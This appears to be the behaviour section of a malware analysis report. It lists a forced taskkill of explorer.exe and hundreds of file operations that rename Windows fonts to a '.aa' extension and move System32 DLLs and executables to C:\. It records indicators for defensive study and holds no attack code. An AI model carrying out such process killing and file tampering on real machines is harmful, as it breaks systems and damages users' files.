Technical Information
- '<SYSTEM32>\taskkill.exe' /f /im explorer.exe
- %WINDIR%\explorer.exe
- from <SYSTEM32>\ac3acm.acm to C:\ac3acm.acm
- from %WINDIR%\fonts\lbrited.ttf to %WINDIR%\fonts\lbrited.aa
- from %WINDIR%\fonts\lbritedi.ttf to %WINDIR%\fonts\lbritedi.aa
- from %WINDIR%\fonts\lbritei.ttf to %WINDIR%\fonts\lbritei.aa
- from %WINDIR%\fonts\lcallig.ttf to %WINDIR%\fonts\lcallig.aa
- from %WINDIR%\fonts\leelawad.ttf to %WINDIR%\fonts\leelawad.aa
- from %WINDIR%\fonts\leelawdb.ttf to %WINDIR%\fonts\leelawdb.aa
- from %WINDIR%\fonts\lfax.ttf to %WINDIR%\fonts\lfax.aa
- from %WINDIR%\fonts\lfaxd.ttf to %WINDIR%\fonts\lfaxd.aa
- from %WINDIR%\fonts\lfaxdi.ttf to %WINDIR%\fonts\lfaxdi.aa
- from %WINDIR%\fonts\lfaxi.ttf to %WINDIR%\fonts\lfaxi.aa
- from %WINDIR%\fonts\lhandw.ttf to %WINDIR%\fonts\lhandw.aa
- from %WINDIR%\fonts\lsans.ttf to %WINDIR%\fonts\lsans.aa
- from %WINDIR%\fonts\lsansd.ttf to %WINDIR%\fonts\lsansd.aa
- from %WINDIR%\fonts\lsansdi.ttf to %WINDIR%\fonts\lsansdi.aa
- from %WINDIR%\fonts\lsansi.ttf to %WINDIR%\fonts\lsansi.aa
- from %WINDIR%\fonts\lbrite.ttf to %WINDIR%\fonts\lbrite.aa
- from %WINDIR%\fonts\ltype.ttf to %WINDIR%\fonts\ltype.aa
- from %WINDIR%\fonts\latinwd.ttf to %WINDIR%\fonts\latinwd.aa
- from <SYSTEM32>\vcruntime140.dll to C:\vcruntime140.dll
- from <SYSTEM32>\vccorlib110.dll to C:\vccorlib110.dll
- from <SYSTEM32>\vccorlib110d.dll to C:\vccorlib110d.dll
- from <SYSTEM32>\vccorlib120.dll to C:\vccorlib120.dll
- from <SYSTEM32>\vccorlib120d.dll to C:\vccorlib120d.dll
- from <SYSTEM32>\vccorlib140.dll to C:\vccorlib140.dll
- from <SYSTEM32>\vccorlib140d.dll to C:\vccorlib140d.dll
- from <SYSTEM32>\vcomp100.dll to C:\vcomp100.dll
- from <SYSTEM32>\vcomp110.dll to C:\vcomp110.dll
- from <SYSTEM32>\vcomp120.dll to C:\vcomp120.dll
- from %WINDIR%\fonts\kokila.ttf to %WINDIR%\fonts\kokila.aa
- from %WINDIR%\fonts\kokilab.ttf to %WINDIR%\fonts\kokilab.aa
- from %WINDIR%\fonts\kokilabi.ttf to %WINDIR%\fonts\kokilabi.aa
- from %WINDIR%\fonts\kokilai.ttf to %WINDIR%\fonts\kokilai.aa
- from %WINDIR%\fonts\kunstler.ttf to %WINDIR%\fonts\kunstler.aa
- from <SYSTEM32>\vcomp140.dll to C:\vcomp140.dll
- from <SYSTEM32>\vcruntime140d.dll to C:\vcruntime140d.dll
- from %WINDIR%\fonts\moolbor.ttf to %WINDIR%\fonts\moolbor.aa
- from %WINDIR%\fonts\palai.ttf to %WINDIR%\fonts\palai.aa
- from %WINDIR%\fonts\ltypeo.ttf to %WINDIR%\fonts\ltypeo.aa
- from <SYSTEM32>\vmicsvc.exe to C:\vmicsvc.exe
- from <SYSTEM32>\vmictimeprovider.dll to C:\vmictimeprovider.dll
- from <SYSTEM32>\vmstorfltres.dll to C:\vmstorfltres.dll
- from %WINDIR%\fonts\msuighur.ttf to %WINDIR%\fonts\msuighur.aa
- from %WINDIR%\fonts\mtcorsva.ttf to %WINDIR%\fonts\mtcorsva.aa
- from %WINDIR%\fonts\niageng.ttf to %WINDIR%\fonts\niageng.aa
- from %WINDIR%\fonts\niagsol.ttf to %WINDIR%\fonts\niagsol.aa
- from %WINDIR%\fonts\nrkis.ttf to %WINDIR%\fonts\nrkis.aa
- from %WINDIR%\fonts\ocraext.ttf to %WINDIR%\fonts\ocraext.aa
- from %WINDIR%\fonts\oldengl.ttf to %WINDIR%\fonts\oldengl.aa
- from %WINDIR%\fonts\onyx.ttf to %WINDIR%\fonts\onyx.aa
- from %WINDIR%\fonts\outlook.ttf to %WINDIR%\fonts\outlook.aa
- from %WINDIR%\fonts\pala.ttf to %WINDIR%\fonts\pala.aa
- from %WINDIR%\fonts\palab.ttf to %WINDIR%\fonts\palab.aa
- from %WINDIR%\fonts\palabi.ttf to %WINDIR%\fonts\palabi.aa
- from %WINDIR%\fonts\mriamc.ttf to %WINDIR%\fonts\mriamc.aa
- from <SYSTEM32>\vcamp140.dll to C:\vcamp140.dll
- from %WINDIR%\fonts\mriam.ttf to %WINDIR%\fonts\mriam.aa
- from <SYSTEM32>\vmicres.dll to C:\vmicres.dll
- from %WINDIR%\fonts\lvnm.ttf to %WINDIR%\fonts\lvnm.aa
- from %WINDIR%\fonts\lvnmbd.ttf to %WINDIR%\fonts\lvnmbd.aa
- from %WINDIR%\fonts\l_10646.ttf to %WINDIR%\fonts\l_10646.aa
- from %WINDIR%\fonts\magnetob.ttf to %WINDIR%\fonts\magnetob.aa
- from %WINDIR%\fonts\maian.ttf to %WINDIR%\fonts\maian.aa
- from %WINDIR%\fonts\majalla.ttf to %WINDIR%\fonts\majalla.aa
- from %WINDIR%\fonts\majallab.ttf to %WINDIR%\fonts\majallab.aa
- from <SYSTEM32>\ven2232.olb to C:\ven2232.olb
- from %WINDIR%\fonts\maturasc.ttf to %WINDIR%\fonts\maturasc.aa
- from <SYSTEM32>\vmbuscoinstaller.dll to C:\vmbuscoinstaller.dll
- from <SYSTEM32>\vmbuspipe.dll to C:\vmbuspipe.dll
- from <SYSTEM32>\vmbusres.dll to C:\vmbusres.dll
- from %WINDIR%\fonts\mistral.ttf to %WINDIR%\fonts\mistral.aa
- from %WINDIR%\fonts\mod20.ttf to %WINDIR%\fonts\mod20.aa
- from <SYSTEM32>\vmdcoinstall.dll to C:\vmdcoinstall.dll
- from %WINDIR%\fonts\ltypeb.ttf to %WINDIR%\fonts\ltypeb.aa
- from %WINDIR%\fonts\ltypebo.ttf to %WINDIR%\fonts\ltypebo.aa
- from <SYSTEM32>\vcamp120.dll to C:\vcamp120.dll
- from %WINDIR%\fonts\gilb____.ttf to %WINDIR%\fonts\gilb____.aa
- from %WINDIR%\fonts\framd.ttf to %WINDIR%\fonts\framd.aa
- from %WINDIR%\fonts\framdcn.ttf to %WINDIR%\fonts\framdcn.aa
- from %WINDIR%\fonts\framdit.ttf to %WINDIR%\fonts\framdit.aa
- from %WINDIR%\fonts\frank.ttf to %WINDIR%\fonts\frank.aa
- from %WINDIR%\fonts\freescpt.ttf to %WINDIR%\fonts\freescpt.aa
- from %WINDIR%\fonts\frscript.ttf to %WINDIR%\fonts\frscript.aa
- from %WINDIR%\fonts\ftltlt.ttf to %WINDIR%\fonts\ftltlt.aa
- from %WINDIR%\fonts\gabriola.ttf to %WINDIR%\fonts\gabriola.aa
- from %WINDIR%\fonts\gara.ttf to %WINDIR%\fonts\gara.aa
- from %WINDIR%\fonts\garabd.ttf to %WINDIR%\fonts\garabd.aa
- from %WINDIR%\fonts\garait.ttf to %WINDIR%\fonts\garait.aa
- from %WINDIR%\fonts\georgia.ttf to %WINDIR%\fonts\georgia.aa
- from %WINDIR%\fonts\georgiab.ttf to %WINDIR%\fonts\georgiab.aa
- from %WINDIR%\fonts\georgiai.ttf to %WINDIR%\fonts\georgiai.aa
- from %WINDIR%\fonts\georgiaz.ttf to %WINDIR%\fonts\georgiaz.aa
- from %WINDIR%\fonts\frahvit.ttf to %WINDIR%\fonts\frahvit.aa
- from %WINDIR%\fonts\gigi.ttf to %WINDIR%\fonts\gigi.aa
- from %WINDIR%\fonts\frahv.ttf to %WINDIR%\fonts\frahv.aa
- from %WINDIR%\fonts\fradmcn.ttf to %WINDIR%\fonts\fradmcn.aa
- from <SYSTEM32>\ucrtbased.dll to C:\ucrtbased.dll
- from <SYSTEM32>\umstartup.etl to C:\umstartup.etl
- from <SYSTEM32>\umstartup000.etl to C:\umstartup000.etl
- from %WINDIR%\fonts\elephnt.ttf to %WINDIR%\fonts\elephnt.aa
- from %WINDIR%\fonts\elephnti.ttf to %WINDIR%\fonts\elephnti.aa
- from %WINDIR%\fonts\engr.ttf to %WINDIR%\fonts\engr.aa
- from %WINDIR%\fonts\erasbd.ttf to %WINDIR%\fonts\erasbd.aa
- from %WINDIR%\fonts\erasdemi.ttf to %WINDIR%\fonts\erasdemi.aa
- from %WINDIR%\fonts\eraslght.ttf to %WINDIR%\fonts\eraslght.aa
- from %WINDIR%\fonts\erasmd.ttf to %WINDIR%\fonts\erasmd.aa
- from %WINDIR%\fonts\felixti.ttf to %WINDIR%\fonts\felixti.aa
- from %WINDIR%\fonts\forte.ttf to %WINDIR%\fonts\forte.aa
- from %WINDIR%\fonts\frabk.ttf to %WINDIR%\fonts\frabk.aa
- from %WINDIR%\fonts\frabkit.ttf to %WINDIR%\fonts\frabkit.aa
- from %WINDIR%\fonts\fradm.ttf to %WINDIR%\fonts\fradm.aa
- from %WINDIR%\fonts\fradmit.ttf to %WINDIR%\fonts\fradmit.aa
- from %WINDIR%\fonts\goudos.ttf to %WINDIR%\fonts\goudos.aa
- from %WINDIR%\fonts\kaiu.ttf to %WINDIR%\fonts\kaiu.aa
- from %WINDIR%\fonts\gilc____.ttf to %WINDIR%\fonts\gilc____.aa
- from %WINDIR%\fonts\goudysto.ttf to %WINDIR%\fonts\goudysto.aa
- from %WINDIR%\fonts\harlowsi.ttf to %WINDIR%\fonts\harlowsi.aa
- from %WINDIR%\fonts\harngton.ttf to %WINDIR%\fonts\harngton.aa
- from %WINDIR%\fonts\hatten.ttf to %WINDIR%\fonts\hatten.aa
- from %WINDIR%\fonts\htowert.ttf to %WINDIR%\fonts\htowert.aa
- from %WINDIR%\fonts\htowerti.ttf to %WINDIR%\fonts\htowerti.aa
- from %WINDIR%\fonts\impact.ttf to %WINDIR%\fonts\impact.aa
- from %WINDIR%\fonts\imprisha.ttf to %WINDIR%\fonts\imprisha.aa
- from %WINDIR%\fonts\infroman.ttf to %WINDIR%\fonts\infroman.aa
- from %WINDIR%\fonts\itcblkad.ttf to %WINDIR%\fonts\itcblkad.aa
- from %WINDIR%\fonts\itcedscr.ttf to %WINDIR%\fonts\itcedscr.aa
- from %WINDIR%\fonts\itckrist.ttf to %WINDIR%\fonts\itckrist.aa
- from %WINDIR%\fonts\jokerman.ttf to %WINDIR%\fonts\jokerman.aa
- from %WINDIR%\fonts\juice___.ttf to %WINDIR%\fonts\juice___.aa
- from <SYSTEM32>\vbame.dll to C:\vbame.dll
- from %WINDIR%\fonts\goudosi.ttf to %WINDIR%\fonts\goudosi.aa
- from <SYSTEM32>\vcamp110.dll to C:\vcamp110.dll
- from %WINDIR%\fonts\goudosb.ttf to %WINDIR%\fonts\goudosb.aa
- from %WINDIR%\fonts\gothici.ttf to %WINDIR%\fonts\gothici.aa
- from %WINDIR%\fonts\gili____.ttf to %WINDIR%\fonts\gili____.aa
- from %WINDIR%\fonts\gillubcd.ttf to %WINDIR%\fonts\gillubcd.aa
- from %WINDIR%\fonts\gilsanub.ttf to %WINDIR%\fonts\gilsanub.aa
- from %WINDIR%\fonts\gil_____.ttf to %WINDIR%\fonts\gil_____.aa
- from %WINDIR%\fonts\gisha.ttf to %WINDIR%\fonts\gisha.aa
- from %WINDIR%\fonts\gishabd.ttf to %WINDIR%\fonts\gishabd.aa
- from %WINDIR%\fonts\glecb.ttf to %WINDIR%\fonts\glecb.aa
- from %WINDIR%\fonts\globalmonospace.compositefont to %WINDIR%\fonts\globalmonospace.aa
- from %WINDIR%\fonts\globalsansserif.compositefont to %WINDIR%\fonts\globalsansserif.aa
- from %WINDIR%\fonts\globalserif.compositefont to %WINDIR%\fonts\globalserif.aa
- from %WINDIR%\fonts\globaluserinterface.compositefont to %WINDIR%\fonts\globaluserinterface.aa
- from %WINDIR%\fonts\glsnecb.ttf to %WINDIR%\fonts\glsnecb.aa
- from %WINDIR%\fonts\gothic.ttf to %WINDIR%\fonts\gothic.aa
- from %WINDIR%\fonts\gothicb.ttf to %WINDIR%\fonts\gothicb.aa
- from %WINDIR%\fonts\gothicbi.ttf to %WINDIR%\fonts\gothicbi.aa
- from %WINDIR%\fonts\gilbi___.ttf to %WINDIR%\fonts\gilbi___.aa
- from %WINDIR%\fonts\trebucbi.ttf to %WINDIR%\fonts\trebucbi.aa
- from <SYSTEM32>\xvidcore.dll to C:\xvidcore.dll
- from %WINDIR%\fonts\parchm.ttf to %WINDIR%\fonts\parchm.aa
- from %WINDIR%\fonts\vijayab.ttf to %WINDIR%\fonts\vijayab.aa
- from %WINDIR%\fonts\vineritc.ttf to %WINDIR%\fonts\vineritc.aa
- from %WINDIR%\fonts\vivaldii.ttf to %WINDIR%\fonts\vivaldii.aa
- from %WINDIR%\fonts\vladimir.ttf to %WINDIR%\fonts\vladimir.aa
- from %WINDIR%\fonts\webdings.ttf to %WINDIR%\fonts\webdings.aa
- from %WINDIR%\fonts\wingding.ttf to %WINDIR%\fonts\wingding.aa
- from %WINDIR%\fonts\wingdng2.ttf to %WINDIR%\fonts\wingdng2.aa
- from %WINDIR%\fonts\wingdng3.ttf to %WINDIR%\fonts\wingdng3.aa
- from <SYSTEM32>\x264vfw64.dll to C:\x264vfw64.dll
- from <SYSTEM32>\x3daudio1_0.dll to C:\x3daudio1_0.dll
- from <SYSTEM32>\x3daudio1_1.dll to C:\x3daudio1_1.dll
- from <SYSTEM32>\x3daudio1_2.dll to C:\x3daudio1_2.dll
- from <SYSTEM32>\x3daudio1_3.dll to C:\x3daudio1_3.dll
- from <SYSTEM32>\x3daudio1_4.dll to C:\x3daudio1_4.dll
- from <SYSTEM32>\x3daudio1_5.dll to C:\x3daudio1_5.dll
- from %WINDIR%\fonts\vijaya.ttf to %WINDIR%\fonts\vijaya.aa
- from <SYSTEM32>\x3daudio1_6.dll to C:\x3daudio1_6.dll
- from %WINDIR%\fonts\verdanaz.ttf to %WINDIR%\fonts\verdanaz.aa
- from %WINDIR%\fonts\verdanab.ttf to %WINDIR%\fonts\verdanab.aa
- from %WINDIR%\fonts\upckb.ttf to %WINDIR%\fonts\upckb.aa
- from %WINDIR%\fonts\upckbi.ttf to %WINDIR%\fonts\upckbi.aa
- from %WINDIR%\fonts\upcki.ttf to %WINDIR%\fonts\upcki.aa
- from %WINDIR%\fonts\upckl.ttf to %WINDIR%\fonts\upckl.aa
- from %WINDIR%\fonts\upclb.ttf to %WINDIR%\fonts\upclb.aa
- from %WINDIR%\fonts\upclbi.ttf to %WINDIR%\fonts\upclbi.aa
- from %WINDIR%\fonts\upcli.ttf to %WINDIR%\fonts\upcli.aa
- from %WINDIR%\fonts\upcll.ttf to %WINDIR%\fonts\upcll.aa
- from %WINDIR%\fonts\utsaah.ttf to %WINDIR%\fonts\utsaah.aa
- from %WINDIR%\fonts\utsaahb.ttf to %WINDIR%\fonts\utsaahb.aa
- from %WINDIR%\fonts\utsaahbi.ttf to %WINDIR%\fonts\utsaahbi.aa
- from %WINDIR%\fonts\utsaahi.ttf to %WINDIR%\fonts\utsaahi.aa
- from %WINDIR%\fonts\vani.ttf to %WINDIR%\fonts\vani.aa
- from %WINDIR%\fonts\vanib.ttf to %WINDIR%\fonts\vanib.aa
- from %WINDIR%\fonts\verdana.ttf to %WINDIR%\fonts\verdana.aa
- from %WINDIR%\fonts\verdanai.ttf to %WINDIR%\fonts\verdanai.aa
- from <SYSTEM32>\xactengine3_7.dll to C:\xactengine3_7.dll
- from %WINDIR%\fonts\papyrus.ttf to %WINDIR%\fonts\papyrus.aa
- from <SYSTEM32>\xactengine2_1.dll to C:\xactengine2_1.dll
- from <SYSTEM32>\xapofx1_2.dll to C:\xapofx1_2.dll
- from <SYSTEM32>\xapofx1_3.dll to C:\xapofx1_3.dll
- from <SYSTEM32>\xapofx1_4.dll to C:\xapofx1_4.dll
- from <SYSTEM32>\xapofx1_5.dll to C:\xapofx1_5.dll
- from <SYSTEM32>\xaudio2_0.dll to C:\xaudio2_0.dll
- from <SYSTEM32>\xaudio2_1.dll to C:\xaudio2_1.dll
- from <SYSTEM32>\xaudio2_2.dll to C:\xaudio2_2.dll
- from <SYSTEM32>\xaudio2_3.dll to C:\xaudio2_3.dll
- from <SYSTEM32>\xaudio2_4.dll to C:\xaudio2_4.dll
- from <SYSTEM32>\xaudio2_5.dll to C:\xaudio2_5.dll
- from <SYSTEM32>\xaudio2_6.dll to C:\xaudio2_6.dll
- from <SYSTEM32>\xaudio2_7.dll to C:\xaudio2_7.dll
- from <SYSTEM32>\xinput1_1.dll to C:\xinput1_1.dll
- from <SYSTEM32>\xinput1_2.dll to C:\xinput1_2.dll
- from <SYSTEM32>\xinput1_3.dll to C:\xinput1_3.dll
- from <SYSTEM32>\xapofx1_1.dll to C:\xapofx1_1.dll
- from %WINDIR%\fonts\upcjl.ttf to %WINDIR%\fonts\upcjl.aa
- from <SYSTEM32>\xapofx1_0.dll to C:\xapofx1_0.dll
- from <SYSTEM32>\xactengine3_6.dll to C:\xactengine3_6.dll
- from <SYSTEM32>\xactengine2_10.dll to C:\xactengine2_10.dll
- from <SYSTEM32>\xactengine2_2.dll to C:\xactengine2_2.dll
- from <SYSTEM32>\xactengine2_3.dll to C:\xactengine2_3.dll
- from <SYSTEM32>\xactengine2_4.dll to C:\xactengine2_4.dll
- from <SYSTEM32>\xactengine2_5.dll to C:\xactengine2_5.dll
- from <SYSTEM32>\xactengine2_6.dll to C:\xactengine2_6.dll
- from <SYSTEM32>\xactengine2_7.dll to C:\xactengine2_7.dll
- from <SYSTEM32>\xactengine2_8.dll to C:\xactengine2_8.dll
- from <SYSTEM32>\xactengine2_9.dll to C:\xactengine2_9.dll
- from <SYSTEM32>\xactengine3_0.dll to C:\xactengine3_0.dll
- from <SYSTEM32>\xactengine3_1.dll to C:\xactengine3_1.dll
- from <SYSTEM32>\xactengine3_2.dll to C:\xactengine3_2.dll
- from <SYSTEM32>\xactengine3_3.dll to C:\xactengine3_3.dll
- from <SYSTEM32>\xactengine3_4.dll to C:\xactengine3_4.dll
- from <SYSTEM32>\xactengine3_5.dll to C:\xactengine3_5.dll
- from <SYSTEM32>\x3daudio1_7.dll to C:\x3daudio1_7.dll
- from %WINDIR%\fonts\dokchamp.ttf to %WINDIR%\fonts\dokchamp.aa
- from %WINDIR%\fonts\upcji.ttf to %WINDIR%\fonts\upcji.aa
- from %WINDIR%\fonts\simpfxo.ttf to %WINDIR%\fonts\simpfxo.aa
- from %WINDIR%\fonts\rocki.ttf to %WINDIR%\fonts\rocki.aa
- from %WINDIR%\fonts\rod.ttf to %WINDIR%\fonts\rod.aa
- from %WINDIR%\fonts\schlbkb.ttf to %WINDIR%\fonts\schlbkb.aa
- from %WINDIR%\fonts\schlbkbi.ttf to %WINDIR%\fonts\schlbkbi.aa
- from %WINDIR%\fonts\schlbki.ttf to %WINDIR%\fonts\schlbki.aa
- from %WINDIR%\fonts\scriptbl.ttf to %WINDIR%\fonts\scriptbl.aa
- from %WINDIR%\fonts\segoepr.ttf to %WINDIR%\fonts\segoepr.aa
- from %WINDIR%\fonts\segoeprb.ttf to %WINDIR%\fonts\segoeprb.aa
- from %WINDIR%\fonts\segoesc.ttf to %WINDIR%\fonts\segoesc.aa
- from %WINDIR%\fonts\segoescb.ttf to %WINDIR%\fonts\segoescb.aa
- from %WINDIR%\fonts\shonar.ttf to %WINDIR%\fonts\shonar.aa
- from %WINDIR%\fonts\shonarb.ttf to %WINDIR%\fonts\shonarb.aa
- from %WINDIR%\fonts\showg.ttf to %WINDIR%\fonts\showg.aa
- from %WINDIR%\fonts\simfang.ttf to %WINDIR%\fonts\simfang.aa
- from %WINDIR%\fonts\simhei.ttf to %WINDIR%\fonts\simhei.aa
- from %WINDIR%\fonts\rockeb.ttf to %WINDIR%\fonts\rockeb.aa
- from %WINDIR%\fonts\simkai.ttf to %WINDIR%\fonts\simkai.aa
- from %WINDIR%\fonts\rockbi.ttf to %WINDIR%\fonts\rockbi.aa
- from %WINDIR%\fonts\rock.ttf to %WINDIR%\fonts\rock.aa
- from %WINDIR%\fonts\perbi___.ttf to %WINDIR%\fonts\perbi___.aa
- from %WINDIR%\fonts\perb____.ttf to %WINDIR%\fonts\perb____.aa
- from %WINDIR%\fonts\peri____.ttf to %WINDIR%\fonts\peri____.aa
- from %WINDIR%\fonts\pertibd.ttf to %WINDIR%\fonts\pertibd.aa
- from %WINDIR%\fonts\pertili.ttf to %WINDIR%\fonts\pertili.aa
- from %WINDIR%\fonts\per_____.ttf to %WINDIR%\fonts\per_____.aa
- from %WINDIR%\fonts\playbill.ttf to %WINDIR%\fonts\playbill.aa
- from %WINDIR%\fonts\poorich.ttf to %WINDIR%\fonts\poorich.aa
- from %WINDIR%\fonts\pristina.ttf to %WINDIR%\fonts\pristina.aa
- from %WINDIR%\fonts\rage.ttf to %WINDIR%\fonts\rage.aa
- from %WINDIR%\fonts\ravie.ttf to %WINDIR%\fonts\ravie.aa
- from %WINDIR%\fonts\refsan.ttf to %WINDIR%\fonts\refsan.aa
- from %WINDIR%\fonts\refspcl.ttf to %WINDIR%\fonts\refspcl.aa
- from %WINDIR%\fonts\roccb___.ttf to %WINDIR%\fonts\roccb___.aa
- from %WINDIR%\fonts\rocc____.ttf to %WINDIR%\fonts\rocc____.aa
- from %WINDIR%\fonts\rockb.ttf to %WINDIR%\fonts\rockb.aa
- from %WINDIR%\fonts\palscri.ttf to %WINDIR%\fonts\palscri.aa
- from %WINDIR%\fonts\upcjb.ttf to %WINDIR%\fonts\upcjb.aa
- from %WINDIR%\fonts\simpo.ttf to %WINDIR%\fonts\simpo.aa
- from %WINDIR%\fonts\upcdbi.ttf to %WINDIR%\fonts\upcdbi.aa
- from %WINDIR%\fonts\upcdi.ttf to %WINDIR%\fonts\upcdi.aa
- from %WINDIR%\fonts\upcdl.ttf to %WINDIR%\fonts\upcdl.aa
- from %WINDIR%\fonts\upceb.ttf to %WINDIR%\fonts\upceb.aa
- from %WINDIR%\fonts\upcebi.ttf to %WINDIR%\fonts\upcebi.aa
- from %WINDIR%\fonts\upcei.ttf to %WINDIR%\fonts\upcei.aa
- from %WINDIR%\fonts\upcel.ttf to %WINDIR%\fonts\upcel.aa
- from %WINDIR%\fonts\upcfb.ttf to %WINDIR%\fonts\upcfb.aa
- from %WINDIR%\fonts\upcfbi.ttf to %WINDIR%\fonts\upcfbi.aa
- from %WINDIR%\fonts\upcfi.ttf to %WINDIR%\fonts\upcfi.aa
- from %WINDIR%\fonts\upcfl.ttf to %WINDIR%\fonts\upcfl.aa
- from %WINDIR%\fonts\upcib.ttf to %WINDIR%\fonts\upcib.aa
- from %WINDIR%\fonts\upcibi.ttf to %WINDIR%\fonts\upcibi.aa
- from %WINDIR%\fonts\upcii.ttf to %WINDIR%\fonts\upcii.aa
- from %WINDIR%\fonts\upcil.ttf to %WINDIR%\fonts\upcil.aa
- from %WINDIR%\fonts\upcdb.ttf to %WINDIR%\fonts\upcdb.aa
- from %WINDIR%\fonts\upcjbi.ttf to %WINDIR%\fonts\upcjbi.aa
- from %WINDIR%\fonts\trebucit.ttf to %WINDIR%\fonts\trebucit.aa
- from %WINDIR%\fonts\trebucbd.ttf to %WINDIR%\fonts\trebucbd.aa
- from <SYSTEM32>\windowsaccessbridge-64.dll to %WINDIR%accessbridge-64.dll
- from %WINDIR%\fonts\snap____.ttf to %WINDIR%\fonts\snap____.aa
- from %WINDIR%\fonts\stencil.ttf to %WINDIR%\fonts\stencil.aa
- from %WINDIR%\fonts\symbol.ttf to %WINDIR%\fonts\symbol.aa
- from %WINDIR%\fonts\tcbi____.ttf to %WINDIR%\fonts\tcbi____.aa
- from %WINDIR%\fonts\tcb_____.ttf to %WINDIR%\fonts\tcb_____.aa
- from %WINDIR%\fonts\tccb____.ttf to %WINDIR%\fonts\tccb____.aa
- from %WINDIR%\fonts\tcceb.ttf to %WINDIR%\fonts\tcceb.aa
- from %WINDIR%\fonts\tccm____.ttf to %WINDIR%\fonts\tccm____.aa
- from %WINDIR%\fonts\tcmi____.ttf to %WINDIR%\fonts\tcmi____.aa
- from %WINDIR%\fonts\tcm_____.ttf to %WINDIR%\fonts\tcm_____.aa
- from %WINDIR%\fonts\tempsitc.ttf to %WINDIR%\fonts\tempsitc.aa
- from %WINDIR%\fonts\tradbdo.ttf to %WINDIR%\fonts\tradbdo.aa
- from %WINDIR%\fonts\trado.ttf to %WINDIR%\fonts\trado.aa
- from %WINDIR%\fonts\trebuc.ttf to %WINDIR%\fonts\trebuc.aa
- from %WINDIR%\fonts\simpbdo.ttf to %WINDIR%\fonts\simpbdo.aa
- from <SYSTEM32>\xactengine2_0.dll to C:\xactengine2_0.dll
- from %WINDIR%\fonts\desktop.ini to %WINDIR%\fonts\desktop.aa
- from %WINDIR%\fonts\candarab.ttf to %WINDIR%\fonts\candarab.aa
- from <SYSTEM32>\mfc100kor.dll to C:\mfc100kor.dll
- from <SYSTEM32>\mfc100rus.dll to C:\mfc100rus.dll
- from <SYSTEM32>\mfc100u.dll to C:\mfc100u.dll
- from <SYSTEM32>\mfc110.dll to C:\mfc110.dll
- from <SYSTEM32>\mfc110chs.dll to C:\mfc110chs.dll
- from <SYSTEM32>\mfc110cht.dll to C:\mfc110cht.dll
- from <SYSTEM32>\mfc110deu.dll to C:\mfc110deu.dll
- from <SYSTEM32>\mfc110enu.dll to C:\mfc110enu.dll
- from <SYSTEM32>\mfc110esn.dll to C:\mfc110esn.dll
- from <SYSTEM32>\mfc110fra.dll to C:\mfc110fra.dll
- from <SYSTEM32>\mfc110ita.dll to C:\mfc110ita.dll
- from <SYSTEM32>\mfc110jpn.dll to C:\mfc110jpn.dll
- from <SYSTEM32>\mfc110kor.dll to C:\mfc110kor.dll
- from <SYSTEM32>\mfc110rus.dll to C:\mfc110rus.dll
- from <SYSTEM32>\mfc110u.dll to C:\mfc110u.dll
- from <SYSTEM32>\mfc100jpn.dll to C:\mfc100jpn.dll
- from <SYSTEM32>\mfc120.dll to C:\mfc120.dll
- from <SYSTEM32>\mfc100ita.dll to C:\mfc100ita.dll
- from <SYSTEM32>\mfc100esn.dll to C:\mfc100esn.dll
- from <SYSTEM32>\installpackage_etw.log to C:\installpackage_etw.log
- from <SYSTEM32>\iscsilog.dll to C:\iscsilog.dll
- from <SYSTEM32>\java.exe to C:\java.exe
- from <SYSTEM32>\javaw.exe to C:\javaw.exe
- from <SYSTEM32>\javaws.exe to C:\javaws.exe
- from <SYSTEM32>\korwbrkr.lex to C:\korwbrkr.lex
- from <SYSTEM32>\lagarith.dll to C:\lagarith.dll
- from <SYSTEM32>\license.rtf to C:\license.rtf
- from <SYSTEM32>\localgroupadminadd.log to C:\localgroupadminadd.log
- from <SYSTEM32>\local_llu.log to C:\local_llu.log
- from <SYSTEM32>\mfc100.dll to C:\mfc100.dll
- from <SYSTEM32>\mfc100chs.dll to C:\mfc100chs.dll
- from <SYSTEM32>\mfc100cht.dll to C:\mfc100cht.dll
- from <SYSTEM32>\mfc100deu.dll to C:\mfc100deu.dll
- from <SYSTEM32>\mfc100enu.dll to C:\mfc100enu.dll
- from <SYSTEM32>\mfc100fra.dll to C:\mfc100fra.dll
- from <SYSTEM32>\mfc140jpn.dll to C:\mfc140jpn.dll
- from <SYSTEM32>\msvcp100d.dll to C:\msvcp100d.dll
- from <SYSTEM32>\mfc120deu.dll to C:\mfc120deu.dll
- from <SYSTEM32>\mfc140u.dll to C:\mfc140u.dll
- from <SYSTEM32>\mfcm100.dll to C:\mfcm100.dll
- from <SYSTEM32>\mfcm100u.dll to C:\mfcm100u.dll
- from <SYSTEM32>\mfcm110.dll to C:\mfcm110.dll
- from <SYSTEM32>\mfcm110u.dll to C:\mfcm110u.dll
- from <SYSTEM32>\mfcm120.dll to C:\mfcm120.dll
- from <SYSTEM32>\mfcm120u.dll to C:\mfcm120u.dll
- from <SYSTEM32>\mfcm140.dll to C:\mfcm140.dll
- from <SYSTEM32>\mfcm140u.dll to C:\mfcm140u.dll
- from <SYSTEM32>\migwiz.lnk to C:\migwiz.lnk
- from <SYSTEM32>\mpsigstub.exe to C:\mpsigstub.exe
- from <SYSTEM32>\msclmd.dll to C:\msclmd.dll
- from <SYSTEM32>\msflxgrd.ocx to C:\msflxgrd.ocx
- from <SYSTEM32>\msvcm90d.dll to C:\msvcm90d.dll
- from <SYSTEM32>\msvcp100.dll to C:\msvcp100.dll
- from <SYSTEM32>\mfc140rus.dll to C:\mfc140rus.dll
- from <SYSTEM32>\icrav03.rat to C:\icrav03.rat
- from <SYSTEM32>\mfc140kor.dll to C:\mfc140kor.dll
- from <SYSTEM32>\mfc140ita.dll to C:\mfc140ita.dll
- from <SYSTEM32>\mfc120enu.dll to C:\mfc120enu.dll
- from <SYSTEM32>\mfc120esn.dll to C:\mfc120esn.dll
- from <SYSTEM32>\mfc120fra.dll to C:\mfc120fra.dll
- from <SYSTEM32>\mfc120ita.dll to C:\mfc120ita.dll
- from <SYSTEM32>\mfc120jpn.dll to C:\mfc120jpn.dll
- from <SYSTEM32>\mfc120kor.dll to C:\mfc120kor.dll
- from <SYSTEM32>\mfc120rus.dll to C:\mfc120rus.dll
- from <SYSTEM32>\mfc120u.dll to C:\mfc120u.dll
- from <SYSTEM32>\mfc140.dll to C:\mfc140.dll
- from <SYSTEM32>\mfc140chs.dll to C:\mfc140chs.dll
- from <SYSTEM32>\mfc140cht.dll to C:\mfc140cht.dll
- from <SYSTEM32>\mfc140deu.dll to C:\mfc140deu.dll
- from <SYSTEM32>\mfc140enu.dll to C:\mfc140enu.dll
- from <SYSTEM32>\mfc140esn.dll to C:\mfc140esn.dll
